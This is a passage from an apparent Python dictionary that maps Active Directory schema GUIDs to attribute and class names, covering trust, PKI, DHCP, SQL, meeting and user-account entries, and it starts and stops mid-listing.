'19195a53-6da0-11d0-afd3-00c04fd930c9': 'Options', - '26d97374-6070-11d1-a9c6-0000f80367c1': 'Transport-Type', - '82f6c81a-fada-4a0d-b0f7-706d46838eb5': 'ms-DS-cloudExtensionAttribute3', - '21cb8628-f3c3-4bbf-bff6-060b2d8f299a': 'ms-DFS-Namespace-v2', - 'bf967944-0de6-11d0-a285-00aa003049e2': 'Cost', - '11b6cc83-48c4-11d1-a9c3-0000f80367c1': 'meetingApplication', - '51583ce9-94fa-4b12-b990-304c35b18595': 'ms-Imaging-PSP-Identifier', - '963d274e-48be-11d1-a9c3-0000f80367c1': 'Options-Location', - '8fd044e3-771f-11d1-aeae-0000f80367c1': 'Treat-As-Leaf', - '9cbf3437-4e6e-485b-b291-22b02554273f': 'ms-DS-cloudExtensionAttribute4', - '64759b35-d3a1-42e4-b5f1-a3de162109b3': 'ms-DFSR-Content', - '508ca374-a511-4e4e-9f4f-856f61a6b7e4': 'Address-Book-Roots2', - '5fd42471-1262-11d0-a060-00aa006c33ed': 'Country-Code', - '11b6cc92-48c4-11d1-a9c3-0000f80367c1': 'meetingBandwidth', - '7b6760ae-d6ed-44a6-b6be-9de62c09ec67': 'ms-Imaging-PSP-String', - 'bf9679ef-0de6-11d0-a285-00aa003049e2': 'Organization-Name', - '28630ebd-41d5-11d1-a9c1-0000f80367c1': 'Tree-Name', - '2915e85b-e347-4852-aabb-22e5a651c864': 'ms-DS-cloudExtensionAttribute5', - '4898f63d-4112-477c-8826-3ca00bd8277d': 'Global-Address-List2', - 'bf967945-0de6-11d0-a285-00aa003049e2': 'Country-Name', - '11b6cc93-48c4-11d1-a9c3-0000f80367c1': 'meetingBlob', - '35697062-1eaf-448b-ac1e-388e0be4fdee': 'ms-net-ieee-80211-GP-PolicyGUID', - 'bf9679f0-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit-Name', - '80a67e5a-9f22-11d0-afdd-00c04fd930c9': 'Trust-Attributes', - '60452679-28e1-4bec-ace3-712833361456': 'ms-DS-cloudExtensionAttribute6', - '4937f40d-a6dc-4d48-97ca-06e5fbfd3f16': 'ms-DFSR-ContentSet', - 'b1cba91a-0682-4362-a659-153e201ef069': 'Template-Roots2', - '2b09958a-8931-11d1-aebc-0000f80367c1': 'Create-Dialog', - '11b6cc87-48c4-11d1-a9c3-0000f80367c1': 'meetingContactInfo', - '9c1495a5-4d76-468e-991e-1433b0a67855': 'ms-net-ieee-80211-GP-PolicyData', - '28596019-7349-4d2f-adff-5a629961f942': 'organizationalStatus', - 'bf967a59-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Incoming', - '4a7c1319-e34e-40c2-9d00-60ff7890f207': 'ms-DS-cloudExtensionAttribute7', - '2df90d73-009f-11d2-aa4c-00c04fd7d83a': 'Create-Time-Stamp', - '11b6cc7e-48c4-11d1-a9c3-0000f80367c1': 'meetingDescription', - '0f69c62e-088e-4ff5-a53a-e923cec07c0a': 'ms-net-ieee-80211-GP-PolicyReserved', - '5fd424ce-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table', - 'bf967a5f-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Outgoing', - '3cd1c514-8449-44ca-81c0-021781800d2a': 'ms-DS-cloudExtensionAttribute8', - '04828aa9-6e42-4e80-b962-e2fe00754d17': 'ms-DFSR-Topology', - 'b8442f58-c490-4487-8a9d-d80b883271ad': 'ms-DS-Claim-Type-Property-Base', - '2b09958b-8931-11d1-aebc-0000f80367c1': 'Create-Wizard-Ext', - '11b6cc91-48c4-11d1-a9c3-0000f80367c1': 'meetingEndTime', - '94a7b05a-b8b2-4f59-9c25-39e69baa1684': 'ms-net-ieee-8023-GP-PolicyGUID', - '5fd424cf-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table-MSDOS', - 'bf967a5c-0de6-11d0-a285-00aa003049e2': 'Trust-Direction', - '0a63e12c-3040-4441-ae26-cd95af0d247e': 'ms-DS-cloudExtensionAttribute9', - 'bf967946-0de6-11d0-a285-00aa003049e2': 'Creation-Time', - '11b6cc7c-48c4-11d1-a9c3-0000f80367c1': 'meetingID', - '8398948b-7457-4d91-bd4d-8d7ed669c9f7': 'ms-net-ieee-8023-GP-PolicyData', - 'bf9679f1-0de6-11d0-a285-00aa003049e2': 'Other-Login-Workstations', - 'b000ea7a-a086-11d0-afdd-00c04fd930c9': 'Trust-Parent', - '670afcb3-13bd-47fc-90b3-0a527ed81ab7': 'ms-DS-cloudExtensionAttribute10', - '4229c897-c211-437c-a5ae-dbf705b696e5': 'ms-DFSR-Member', - '36093235-c715-4821-ab6a-b56fb2805a58': 'ms-DS-Claim-Types', - '4d8601ed-ac85-11d0-afe3-00c04fd930c9': 'Creation-Wizard', - '11b6cc89-48c4-11d1-a9c3-0000f80367c1': 'meetingIP', - 'd3c527c7-2606-4deb-8cfd-18426feec8ce': 'ms-net-ieee-8023-GP-PolicyReserved', - '0296c123-40da-11d1-a9c0-0000f80367c1': 'Other-Mailbox', - 'bf967a5d-0de6-11d0-a285-00aa003049e2': 'Trust-Partner', - '9e9ebbc8-7da5-42a6-8925-244e12a56e24': 'ms-DS-cloudExtensionAttribute11', - '7bfdcb85-4807-11d1-a9c3-0000f80367c1': 'Creator', - '11b6cc8e-48c4-11d1-a9c3-0000f80367c1': 'meetingIsEncrypted', - '3164c36a-ba26-468c-8bda-c1e5cc256728': 'ms-PKI-Cert-Template-OID', - 'bf9679f2-0de6-11d0-a285-00aa003049e2': 'Other-Name', - 'bf967a5e-0de6-11d0-a285-00aa003049e2': 'Trust-Posix-Offset', - '3c01c43d-e10b-4fca-92b2-4cf615d5b09a': 'ms-DS-cloudExtensionAttribute12', - 'e58f972e-64b5-46ef-8d8b-bbc3e1897eab': 'ms-DFSR-Connection', - '7a4a4584-b350-478f-acd6-b4b852d82cc0': 'ms-DS-Resource-Properties', - '963d2737-48be-11d1-a9c3-0000f80367c1': 'CRL-Object', - '11b6cc7f-48c4-11d1-a9c3-0000f80367c1': 'meetingKeyword', - 'dbd90548-aa37-4202-9966-8c537ba5ce32': 'ms-PKI-Certificate-Application-Policy', - '1ea64e5d-ac0f-11d2-90df-00c04fd91ab1': 'Other-Well-Known-Objects', - 'bf967a60-0de6-11d0-a285-00aa003049e2': 'Trust-Type', - '28be464b-ab90-4b79-a6b0-df437431d036': 'ms-DS-cloudExtensionAttribute13', - '963d2731-48be-11d1-a9c3-0000f80367c1': 'CRL-Partitioned-Revocation-List', - '11b6cc84-48c4-11d1-a9c3-0000f80367c1': 'meetingLanguage', - 'ea1dddc4-60ff-416e-8cc0-17cee534bce7': 'ms-PKI-Certificate-Name-Flag', - 'bf9679f3-0de6-11d0-a285-00aa003049e2': 'Owner', - 'bf967a61-0de6-11d0-a285-00aa003049e2': 'UAS-Compat', - 'cebcb6ba-6e80-4927-8560-98feca086a9f': 'ms-DS-cloudExtensionAttribute14', - '7b9a2d92-b7eb-4382-9772-c3e0f9baaf94': 'ms-ieee-80211-Policy', - '81a3857c-5469-4d8f-aae6-c27699762604': 'ms-DS-Claim-Type', - '167757b2-47f3-11d1-a9c3-0000f80367c1': 'Cross-Certificate-Pair', - '11b6cc80-48c4-11d1-a9c3-0000f80367c1': 'meetingLocation', - '38942346-cc5b-424b-a7d8-6ffd12029c5f': 'ms-PKI-Certificate-Policy', - '7d6c0e99-7e20-11d0-afd6-00c04fd930c9': 'Package-Flags', - '0bb0fca0-1e89-429f-901a-1413894d9f59': 'uid', - 'aae4d537-8af0-4daa-9cc6-62eadb84ff03': 'ms-DS-cloudExtensionAttribute15', - '1f0075fe-7e40-11d0-afd6-00c04fd930c9': 'Curr-Machine-Id', - '11b6cc85-48c4-11d1-a9c3-0000f80367c1': 'meetingMaxParticipants', - 'b7ff5a38-0818-42b0-8110-d3d154c97f24': 'ms-PKI-Credential-Roaming-Tokens', - '7d6c0e98-7e20-11d0-afd6-00c04fd930c9': 'Package-Name', - 'bf967a64-0de6-11d0-a285-00aa003049e2': 'UNC-Name', - '9581215b-5196-4053-a11e-6ffcafc62c4d': 'ms-DS-cloudExtensionAttribute16', - 'a0ed2ac1-970c-4777-848e-ec63a0ec44fc': 'ms-Imaging-PSPs', - '5b283d5e-8404-4195-9339-8450188c501a': 'ms-DS-Resource-Property', - '1f0075fc-7e40-11d0-afd6-00c04fd930c9': 'Current-Location', - '11b6cc7d-48c4-11d1-a9c3-0000f80367c1': 'meetingName', - 'd15ef7d8-f226-46db-ae79-b34e560bd12c': 'ms-PKI-Enrollment-Flag', - '7d6c0e96-7e20-11d0-afd6-00c04fd930c9': 'Package-Type', - 'bf9679e1-0de6-11d0-a285-00aa003049e2': 'Unicode-Pwd', - '3d3c6dda-6be8-4229-967e-2ff5bb93b4ce': 'ms-DS-cloudExtensionAttribute17', - '963d273f-48be-11d1-a9c3-0000f80367c1': 'Current-Parent-CA', - '11b6cc86-48c4-11d1-a9c3-0000f80367c1': 'meetingOriginator', - 'f22bd38f-a1d0-4832-8b28-0331438886a6': 'ms-PKI-Enrollment-Servers', - '5245801b-ca6a-11d0-afff-0000f80367c1': 'Parent-CA', - 'ba0184c7-38c5-4bed-a526-75421470580c': 'uniqueIdentifier', - '88e73b34-0aa6-4469-9842-6eb01b32a5b5': 'ms-DS-cloudExtensionAttribute18', - '1f7c257c-b8a3-4525-82f8-11ccc7bee36e': 'ms-Imaging-PostScanProcess', - '72e3d47a-b342-4d45-8f56-baff803cabf9': 'ms-DS-Resource-Property-List', - 'bf967947-0de6-11d0-a285-00aa003049e2': 'Current-Value', - '11b6cc88-48c4-11d1-a9c3-0000f80367c1': 'meetingOwner', - 'e96a63f5-417f-46d3-be52-db7703c503df': 'ms-PKI-Minimal-Key-Size', - '963d2733-48be-11d1-a9c3-0000f80367c1': 'Parent-CA-Certificate-Chain', - '8f888726-f80a-44d7-b1ee-cb9df21392c8': 'uniqueMember', - '0975fe99-9607-468a-8e18-c800d3387395': 'ms-DS-cloudExtensionAttribute19', - 'bf96799c-0de6-11d0-a285-00aa003049e2': 'DBCS-Pwd', - '11b6cc81-48c4-11d1-a9c3-0000f80367c1': 'meetingProtocol', - '8c9e1288-5028-4f4f-a704-76d026f246ef': 'ms-PKI-OID-Attribute', - '2df90d74-009f-11d2-aa4c-00c04fd7d83a': 'Parent-GUID', - '50950839-cc4c-4491-863a-fcf942d684b7': 'unstructuredAddress', - 'f5446328-8b6e-498d-95a8-211748d5acdc': 'ms-DS-cloudExtensionAttribute20', - 'a16f33c7-7fd6-4828-9364-435138fda08d': 'ms-Print-ConnectionPolicy', - 'b72f862b-bb25-4d5d-aa51-62c59bdf90ae': 'ms-SPP-Activation-Objects-Container', - 'bf967948-0de6-11d0-a285-00aa003049e2': 'Default-Class-Store', - '11b6cc8d-48c4-11d1-a9c3-0000f80367c1': 'meetingRating', - '5f49940e-a79f-4a51-bb6f-3d446a54dc6b': 'ms-PKI-OID-CPS', - '28630ec0-41d5-11d1-a9c1-0000f80367c1': 'Partial-Attribute-Deletion-List', - '9c8ef177-41cf-45c9-9673-7716c0c8901b': 'unstructuredName', - '6b3d6fda-0893-43c4-89fb-1fb52a6616a9': 'ms-DS-Issuer-Certificates', - '720bc4e2-a54a-11d0-afdf-00c04fd930c9': 'Default-Group', - '11b6cc8f-48c4-11d1-a9c3-0000f80367c1': 'meetingRecurrence', - '7d59a816-bb05-4a72-971f-5c1331f67559': 'ms-PKI-OID-LocalizedName', - '19405b9e-3cfa-11d1-a9c0-0000f80367c1': 'Partial-Attribute-Set', - 'd9e18312-8939-11d1-aebc-0000f80367c1': 'Upgrade-Product-Code', - 'ca3286c2-1f64-4079-96bc-e62b610e730f': 'ms-DS-Registration-Quota', - '37cfd85c-6719-4ad8-8f9e-8678ba627563': 'ms-PKI-Enterprise-Oid', - '51a0e68c-0dc5-43ca-935d-c1c911bf2ee5': 'ms-SPP-Activation-Object', - 'b7b13116-b82e-11d0-afee-0000f80367c1': 'Default-Hiding-Value', - '11b6cc8a-48c4-11d1-a9c3-0000f80367c1': 'meetingScope', - '04c4da7a-e114-4e69-88de-e293f2d3b395': 'ms-PKI-OID-User-Notice', - '07383084-91df-11d1-aebc-0000f80367c1': 'Pek-Key-Change-Interval', - '032160bf-9824-11d1-aec0-0000f80367c1': 'UPN-Suffixes', - '0a5caa39-05e6-49ca-b808-025b936610e7': 'ms-DS-Maximum-Registration-Inactivity-Period', - 'bf96799f-0de6-11d0-a285-00aa003049e2': 'Default-Local-Policy-Object', - '11b6cc90-48c4-11d1-a9c3-0000f80367c1': 'meetingStartTime', - 'bab04ac2-0435-4709-9307-28380e7c7001': 'ms-PKI-Private-Key-Flag', - '07383083-91df-11d1-aebc-0000f80367c1': 'Pek-List', - 'bf967a68-0de6-11d0-a285-00aa003049e2': 'User-Account-Control', - 'e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762': 'ms-DS-Device-Location', - '26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb': 'ms-PKI-Key-Recovery-Agent', - 'e027a8bd-6456-45de-90a3-38593877ee74': 'ms-TPM-Information-Objects-Container', - '26d97367-6070-11d1-a9c6-0000f80367c1': 'Default-Object-Category', - '11b6cc82-48c4-11d1-a9c3-0000f80367c1': 'meetingType', - '0cd8711f-0afc-4926-a4b1-09b08d3d436c': 'ms-PKI-Site-Name', - '963d273c-48be-11d1-a9c3-0000f80367c1': 'Pending-CA-Certificates', - 'bf967a69-0de6-11d0-a285-00aa003049e2': 'User-Cert', - '617626e9-01eb-42cf-991f-ce617982237e': 'ms-DS-Registered-Owner', - '281416c8-1968-11d0-a28f-00aa003049e2': 'Default-Priority', - '11b6cc8c-48c4-11d1-a9c3-0000f80367c1': 'meetingURL', - '9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7': 'ms-PKI-Supersede-Templates', - '963d273e-48be-11d1-a9c3-0000f80367c1': 'Pending-Parent-CA', - 'bf967a6a-0de6-11d0-a285-00aa003049e2': 'User-Comment', - '0449160c-5a8e-4fc8-b052-01c0f6e48f02': 'ms-DS-Registered-Users', - '05f6c878-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLServer', - '85045b6a-47a6-4243-a7cc-6890701f662c': 'ms-TPM-Information-Object', - '807a6d30-1669-11d0-a064-00aa006c33ed': 'Default-Security-Descriptor', - 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Member', - '13f5236c-1884-46b1-b5d0-484e38990d58': 'ms-PKI-Template-Minor-Revision', - '5fd424d3-1262-11d0-a060-00aa006c33ed': 'Per-Msg-Dialog-Display-Table', - 'bf967a6d-0de6-11d0-a285-00aa003049e2': 'User-Parameters', - 'a34f983b-84c6-4f0c-9050-a3a14a1d35a4': 'ms-DS-Approximate-Last-Logon-Time-Stamp', - '167757b5-47f3-11d1-a9c3-0000f80367c1': 'Delta-Revocation-List', - '0296c122-40da-11d1-a9c0-0000f80367c1': 'MHS-OR-Address', - '0c15e9f5-491d-4594-918f-32813a091da9': 'ms-PKI-Template-Schema-Version', - '5fd424d4-1262-11d0-a060-00aa006c33ed': 'Per-Recip-Dialog-Display-Table', - 'bf967a6e-0de6-11d0-a285-00aa003049e2': 'User-Password', - '22a95c0e-1f83-4c82-94ce-bea688cfc871': 'ms-DS-Is-Enabled', - '0c7e18ea-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPServer', - 'ef2fc3ed-6e18-415b-99e4-3114a8cb124b': 'ms-DNS-Server-Settings', - 'bf96794f-0de6-11d0-a285-00aa003049e2': 'Department', - 'bf9679c2-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Age', - '3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a': 'ms-PKI-RA-Application-Policies', - '16775858-47f3-11d1-a9c3-0000f80367c1': 'Personal-Title', - '11732a8a-e14d-4cc5-b92f-d93f51c6d8e4': 'userClass', - '100e454d-f3bb-4dcb-845f-8d5edc471c59': 'ms-DS-Device-OS-Type', - 'be9ef6ee-cbc7-4f22-b27b-96967e7ee585': 'departmentNumber', - 'bf9679c3-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Length', - 'd546ae22-0951-4d47-817e-1c9f96faad46': 'ms-PKI-RA-Policies', - '0296c11d-40da-11d1-a9c0-0000f80367c1': 'Phone-Fax-Other', - '23998ab5-70f8-4007-a4c1-a84a38311f9a': 'userPKCS12', - '70fb8c63-5fab-4504-ab9d-14b329a8a7f8': 'ms-DS-Device-OS-Version', - '11d43c5c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLRepository', - '555c21c3-a136-455a-9397-796bbd358e25': 'ms-Authz-Central-Access-Policies', - 'bf967950-0de6-11d0-a285-00aa003049e2': 'Description', - 'bf9679c4-0de6-11d0-a285-00aa003049e2': 'Min-Ticket-Age', - 'fe17e04b-937d-4f7e-8e0e-9292c8d5683e': 'ms-PKI-RA-Signature', - 'f0f8ffa2-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Other', - '28630ebb-41d5-11d1-a9c1-0000f80367c1': 'User-Principal-Name', - '90615414-a2a0-4447-a993-53409599b74e': 'ms-DS-Device-Physical-IDs', - 'eea65906-8ac6-11d0-afda-00c04fd930c9': 'Desktop-Profile', - 'bf9679c5-0de6-11d0-a285-00aa003049e2': 'Modified-Count', - '6617e4ac-a2f1-43ab-b60c-11fbd1facf05': 'ms-PKI-RoamingTimeStamp', - 'f0f8ffa1-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Primary', - '9a9a021f-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder', - 'c30181c7-6342-41fb-b279-f7c566cbe0a7': 'ms-DS-Device-ID', - '17c2f64e-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLPublication', - '99bb1b7a-606d-4f8b-800e-e15be554ca8d': 'ms-Authz-Central-Access-Rules', - '974c9a02-33fc-11d3-aa6e-00c04f8eedd8': 'msExch-Proxy-Gen-Options', - 'bf967951-0de6-11d0-a285-00aa003049e2': 'Destination-Indicator', - 'bf9679c6-0de6-11d0-a285-00aa003049e2': 'Modified-Count-At-Last-Prom', - 'b3f93023-9239-4f7c-b99c-6745d87adbc2': 'ms-PKI-DPAPIMasterKeys', - '4d146e4b-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Other', - '9a9a0220-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder-Other', - 'ef65695a-f179-4e6a-93de-b01e06681cfb': 'ms-DS-Device-Object-Version', - '963d2750-48be-11d1-a9c3-0000f80367c1': 'dhcp-Classes', - '9a7ad94a-ca53-11d1-bbd0-0080c76670c0': 'Modify-Time-Stamp', - 'b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7': 'ms-PKI-AccountCredentials', - '4d146e4a-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Primary', - 'e16a9db2-403c-11d1-a9c0-0000f80367c1': 'User-SMIME-Certificate', - '862166b6-c941-4727-9565-48bfff2941de': 'ms-DS-Is-Member-Of-DL-Transitive', - '1d08694a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLDatabase', - '5b4a06dc-251c-4edb-8813-0bdd71327226': 'ms-Authz-Central-Access-Rule', - '963d2741-48be-11d1-a9c3-0000f80367c1': 'dhcp-Flags', - 'bf9679c7-0de6-11d0-a285-00aa003049e2': 'Moniker', - 'f39b98ad-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Attribute', - '0296c11f-40da-11d1-a9c0-0000f80367c1': 'Phone-ISDN-Primary', - 'bf9679d7-0de6-11d0-a285-00aa003049e2': 'User-Workstations', - 'e215395b-9104-44d9-b894-399ec9e21dfc': 'ms-DS-Member-Transitive', - '963d2742-48be-11d1-a9c3-0000f80367c1': 'dhcp-Identification', - 'bf9679c8-0de6-11d0-a285-00aa003049e2': 'Moniker-Display-Name', - 'f39b98ac-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Vendor-Attribute-Entry', - '0296c11e-40da-11d1-a9c0-0000f80367c1': 'Phone-Mobile-Other', - 'bf967a6f-0de6-11d0-a285-00aa003049e2': 'USN-Changed', - 'b918fe7d-971a-f404-9e21-9261abec970b': 'ms-DS-Parent-Dist-Name', - '20af031a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPDatabase', - 'a5679cb0-6f9d-432c-8b75-1e3e834f02aa': 'ms-Authz-Central-Access-Policy', - '963d2747-48be-11d1-a9c3-0000f80367c1': 'dhcp-Mask', - '1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1': 'Move-Tree-State', - 'a6f24a23-d65c-4d65-a64f-35fb6873c2b9': 'ms-RADIUS-FramedInterfaceId', - 'f0f8ffa3-1191-11d0-a060-00aa006c33ed': 'Phone-Mobile-Primary', - 'bf967a70-0de6-11d0-a285-00aa003049e2': 'USN-Created', - '1e02d2ef-44ad-46b2-a67d-9fd18d780bca': 'ms-DS-Repl-Value-Meta-Data-Ext', - '963d2754-48be-11d1-a9c3-0000f80367c1': 'dhcp-MaxKey', - '998b10f7-aa1a-4364-b867-753d197fe670': 'ms-COM-DefaultPartitionLink', - 'a4da7289-92a3-42e5-b6b6-dad16d280ac9': 'ms-RADIUS-SavedFramedInterfaceId', - 'f0f8ffa5-1191-11d0-a060-00aa006c33ed': 'Phone-Office-Other', - 'bf967a71-0de6-11d0-a285-00aa003049e2': 'USN-DSA-Last-Obj-Removed', - '6055f766-202e-49cd-a8be-e52bb159edfb': 'ms-DS-Drs-Farm-ID', - '09f0506a-cd28-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPCube', - '5ef243a8-2a25-45a6-8b73-08a71ae677ce': 'ms-Kds-Prov-ServerConfiguration', - '963d2744-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Description', - '430f678b-889f-41f2-9843-203b5a65572f': 'ms-COM-ObjectId', - 'f63ed610-d67c-494d-87be-cd1e24359a38': 'ms-RADIUS-FramedIpv6Prefix', - 'f0f8ffa4-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Other', - 'a8df7498-c5ea-11d1-bbcb-0080c76670c0': 'USN-Intersite', - 'b5f1edfe-b4d2-4076-ab0f-6148342b0bf6': 'ms-DS-Issuer-Public-Certificates', - '963d2743-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Name', - '09abac62-043f-4702-ac2b-6ca15eee5754': 'ms-COM-PartitionLink', - '0965a062-b1e1-403b-b48d-5c0eb0e952cc': 'ms-RADIUS-SavedFramedIpv6Prefix', - 'f0f8ffa6-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Primary', - 'bf967a73-0de6-11d0-a285-00aa003049e2': 'USN-Last-Obj-Rem', - '60686ace-6c27-43de-a4e5-f00c2f8d3309': 'ms-DS-IsManaged', - 'ca7b9735-4b2a-4e49-89c3-99025334dc94': 'ms-TAPI-Rt-Conference', - 'aa02fd41-17e0-4f18-8687-b2239649736b': 'ms-Kds-Prov-RootKey', - '963d274f-48be-11d1-a9c3-0000f80367c1': 'dhcp-Options', - '67f121dc-7d02-4c7d-82f5-9ad4c950ac34': 'ms-COM-PartitionSetLink', - '5a5aa804-3083-4863-94e5-018a79a22ec0': 'ms-RADIUS-FramedIpv6Route', - '9c979768-ba1a-4c08-9632-c6a5c1ed649a': 'photo', - '167758ad-47f3-11d1-a9c3-0000f80367c1': 'USN-Source', - '5315ba8e-958f-4b52-bd38-1349a304dd63': 'ms-DS-Cloud-IsManaged', - '963d2753-48be-11d1-a9c3-0000f80367c1': 'dhcp-Properties', - '9e6f3a4d-242c-4f37-b068-36b57f9fc852': 'ms-COM-UserLink', - '9666bb5c-df9d-4d41-b437-2eec7e27c9b3': 'ms-RADIUS-SavedFramedIpv6Route', - 'bf9679f7-0de6-11d0-a285-00aa003049e2': 'Physical-Delivery-Office-Name', - '4d2fa380-7f54-11d2-992a-0000f87a57d4': 'Valid-Accesses', - '78565e80-03d4-4fe3-afac-8c3bca2f3653': 'ms-DS-Cloud-Anchor', - '53ea1cb5-b704-4df9-818f-5cb4ec86cac1': 'ms-TAPI-Rt-Person', - '7b8b558a-93a5-4af7-adca-c017e67f1057': 'ms-DS-Group-Managed-Service-Account', - '963d2748-48be-11d1-a9c3-0000f80367c1': 'dhcp-Ranges', - '8e940c8a-e477-4367-b08d-ff2ff942dcd7': 'ms-COM-UserPartitionSetLink', - '3532dfd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Name', - 'b7b13119-b82e-11d0-afee-0000f80367c1': 'Physical-Location-Object', - '281416df-1968-11d0-a28f-00aa003049e2': 'Vendor', - 'a1e8b54f-4bd6-4fd2-98e2-bcee92a55497': 'ms-DS-Cloud-Issuer-Public-Certificates', - '963d274a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Reservations', - 'e85e1204-3434-41ad-9b56-e2901228fff0': 'MS-DRM-Identity-Certificate', - '48fd44ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-RegisteredOwner', - '8d3bca50-1d7e-11d0-a081-00aa006c33ed': 'Picture', - 'bf967a76-0de6-11d0-a285-00aa003049e2': 'Version-Number', - '89848328-7c4e-4f6f-a013-28ce3ad282dc': 'ms-DS-Cloud-IsEnabled', - '50ca5d7d-5c8b-4ef3-b9df-5b66d491e526': 'ms-WMI-IntRangeParam', - 'e3c27fdf-b01d-4f4e-87e7-056eef0eb922': 'ms-DS-Value-Type', - '963d2745-48be-11d1-a9c3-0000f80367c1': 'dhcp-Servers', - '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'ms-DS-Additional-Dns-Host-Name', - '4f6cbdd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Contact', - 'fc5a9106-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Critical-Extensions', - '7d6c0e9a-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Hi', - 'b7acc3d2-2a74-4fa4-ac25-e63fe8b61218': 'ms-DS-SyncServerUrl', - '963d2749-48be-11d1-a9c3-0000f80367c1': 'dhcp-Sites', - '975571df-a4d5-429a-9f59-cdc6581d91e6': 'ms-DS-Additional-Sam-Account-Name', - '561c9644-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Location', - '1ef6336e-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Default-CSPs', - '7d6c0e9b-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Lo', - 'de0caa7f-724e-4286-b179-192671efc664': 'ms-DS-User-Allowed-To-Authenticate-To', - '292f0d9a-cf76-42b0-841f-b650f331df62': 'ms-WMI-IntSetParam', - '2eeb62b3-1373-fe45-8101-387f1676edc7': 'ms-DS-Claims-Transformation-Policy-Type', - '963d2752-48be-11d1-a9c3-0000f80367c1': 'dhcp-State', - 'd3aa4a5c-4e03-4810-97aa-2b339e7a434b': 'MS-DS-All-Users-Trust-Quota', - '5b5d448c-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Memory', - '426cae6e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Default-Key-Spec', - '1f0075fd-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-GUID', - '2c4c9600-b0e1-447d-8dda-74902257bdb5': 'ms-DS-User-Allowed-To-Authenticate-From', - '963d2746-48be-11d1-a9c3-0000f80367c1': 'dhcp-Subnets', - '8469441b-9ac4-4e45-8205-bd219dbf672d': 'ms-DS-Allowed-DNS-Suffixes', - '603e94c4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Build', - '926be278-56f9-11d2-90d0-00c04fd91ab1': 'PKI-Enrollment-Access', - '1f0075fb-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-Idx-GUID', - '8521c983-f599-420f-b9ab-b1222bdf95c1': 'ms-DS-User-TGT-Lifetime', - '07502414-fdca-4851-b04a-13645b11d226': 'ms-WMI-MergeablePolicyTemplate', - 'c8fca9b1-7d88-bb4f-827a-448927710762': 'ms-DS-Claims-Transformation-Policies', - '963d273b-48be-11d1-a9c3-0000f80367c1': 'dhcp-Type', - '800d94d7-b7a1-42a1-b14d-7cae1423d07f': 'ms-DS-Allowed-To-Delegate-To', - '64933a3e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ServiceAccount', - '041570d2-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Expiration-Period', - '34aaa217-b699-11d0-afee-0000f80367c1': 'Volume-Count', - '105babe9-077e-4793-b974-ef0410b62573': 'ms-DS-Computer-Allowed-To-Authenticate-To', - '963d273a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Unique-Key', - 'c4af1073-ee50-4be0-b8c0-89a41fe99abe': 'ms-DS-Auxiliary-Classes', - '696177a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CharacterSet', - '18976af6-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Extended-Key-Usage', - '244b2970-5abd-11d0-afd2-00c04fd930c9': 'Wbem-Path', - '2e937524-dfb9-4cac-a436-a5b7da64fd66': 'ms-DS-Computer-TGT-Lifetime', - '55dd81c9-c312-41f9-a84d-c6adbdf1e8e1': 'ms-WMI-ObjectEncoding', - '641e87a4-8326-4771-ba2d-c706df35e35a': 'ms-DS-Cloud-Extensions', - '963d2755-48be-11d1-a9c3-0000f80367c1': 'dhcp-Update-Time', - 'e185d243-f6ce-4adb-b496-b0c005d7823c': 'ms-DS-Approx-Immed-Subordinates', - '6ddc42c0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SortOrder', - 'e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Key-Usage', - '05308983-7688-11d1-aded-00c04fd8d5cd': 'Well-Known-Objects', - 'f2973131-9b4d-4820-b4de-0474ef3b849f': 'ms-DS-Service-Allowed-To-Authenticate-To', - 'bf967953-0de6-11d0-a285-00aa003049e2': 'Display-Name', - 